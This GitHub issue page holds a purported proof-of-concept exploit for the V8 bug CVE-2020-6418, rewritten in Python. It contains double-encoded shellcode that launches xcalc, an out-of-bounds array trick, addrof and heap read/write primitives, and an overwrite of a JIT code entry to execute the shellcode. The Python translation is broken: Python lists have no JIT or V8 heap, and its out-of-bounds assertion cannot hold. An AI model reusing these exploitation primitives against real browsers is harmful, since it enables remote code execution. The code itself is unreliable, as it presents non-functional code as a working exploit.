Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

POC for CVE-2020-6418 - written in python (exploit code) #7

Open
priyanshukumar397 opened this issue Sep 15, 2024 · 0 comments
Open

Comments

@priyanshukumar397
Copy link

import struct

def ftoi(f):  # float to int
    # Convert float to binary representation (8 bytes)
    packed = struct.pack('<d', f)
    # Unpack as 64-bit integer
    return struct.unpack('<q', packed)[0]

def itof(i):  # int to float
    # Convert 64-bit integer to binary representation (8 bytes)
    packed = struct.pack('<q', i)
    # Unpack as double-precision float
    return struct.unpack('<d', packed)[0]

def lower(i):  # lower 32 bits of int
    return i & 0xffffffff

def upper(i):  # upper 32 bits of int
    return (i >> 32) & 0xffffffff

def hex_string(i):
    # Return the hex string of a value
    return f"0x{i:016x}"

# Part 2a: Shellcode with Immediate Numbers
def foo():
    # execve("/usr/bin/xcalc", ["/usr/bin/xcalc"], ["DISPLAY=:0"])
    return [
        1.9553820986592714e-246, 1.9557677050669863e-246,
        1.97118242283721e-246, 1.9563405961237867e-246,
        1.9560656634566922e-246, 1.9711824228871598e-246,
        1.986669612134628e-246, 1.9712777999056378e-246,
        1.9570673233493564e-246, 1.9950498189626253e-246,
        1.9711832653349477e-246, 1.9710251545829015e-246,
        1.9562870598986932e-246, 1.9560284264452913e-246,
        1.9473970328478236e-246, 1.9535181816562593e-246,
        5.6124209215264576e-232, 5.438699428135179e-232
    ]

# Trigger optimisation of function so the bytecode is stored in heap
for _ in range(0x10000):
    foo()

# Part 0: Initial OOB write

class Proxy:
    def __getitem__(self, key):
        global a, oob_arr
        a[0] = {}
        oob_arr = [1.1]
        return object

def f(p):
    global a
    a.append(1.9553820986592714e-246 if not callable(p) else 0)  # itof(0x1337133700010000)

def main(p):
    return f(p)

a = [1.1] * 11
oob_arr = []

a.pop()
a.pop()

# Trigger optimisation of main (inlining)
for _ in range(0x10000):
    main(lambda: None)
    a.pop()

main(lambda: None)
main(Proxy())
assert len(oob_arr) == 0x8000  # Achieved OOB

# Part 1: addrof, read write primitives

vic_arr = [1.1] * 128  # Victim float array
obj_arr = [{}] * 256  # Object array

def oob_read32(i):  # Read 32 bits at offset from oob_arr elements
    i -= 2
    if i % 2 == 0:
        return lower(ftoi(oob_arr[i // 2]))
    else:
        return upper(ftoi(oob_arr[i // 2]))

def oob_write32(i, x):  # Write 32 bits at offset from oob_arr elements
    i -= 2
    if i % 2 == 0:
        oob_arr[i // 2] = itof((oob_read32(i ^ 1) << 32) + x)
    else:
        oob_arr[i // 2] = itof((x << 32) + oob_read32(i ^ 1))

def addrof(o):  # Get heap address of object
    global vic_arr, obj_arr
    obj_arr[0] = o
    vic_arr_mapptr = oob_read32(17)
    obj_arr_mapptr = oob_read32(411)
    oob_write32(411, vic_arr_mapptr)
    addr = obj_arr[0]
    oob_write32(411, obj_arr_mapptr)
    return lower(ftoi(addr))

def heap_read64(addr):  # Read 64 bits at arbitrary heap address
    global vic_arr
    vic_arr_elemptr = oob_read32(19)
    new_vic_arr_elemptr = addr - 0x8 + 1
    oob_write32(19, new_vic_arr_elemptr)
    data = ftoi(vic_arr[0])
    oob_write32(19, vic_arr_elemptr)
    return data

def heap_write64(addr, val):  # Write 64 bits at arbitrary heap address
    global vic_arr
    vic_arr_elemptr = oob_read32(19)
    new_vic_arr_elemptr = addr - 0x8 + 1
    oob_write32(19, new_vic_arr_elemptr)
    vic_arr[0] = itof(val)
    oob_write32(19, vic_arr_elemptr)

# Part 2b: Shellcode with Immediate Numbers

foo_addr = addrof(foo)

code_container = lower(heap_read64(foo_addr - 1 + 0x18))
code_entry_addr = code_container - 1 + 0x10
code_entry = heap_read64(code_entry_addr)

print(f"addrof foo = {hex_string(foo_addr)}")
print(f"code container = {hex_string(code_container)}")
print(f"code entry = {hex_string(code_entry)}")

# Overwrite code entry to start of user-controlled immediates
heap_write64(code_entry_addr, code_entry + 0x66)

foo()  # Executes user-controlled immediates as shellcode

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant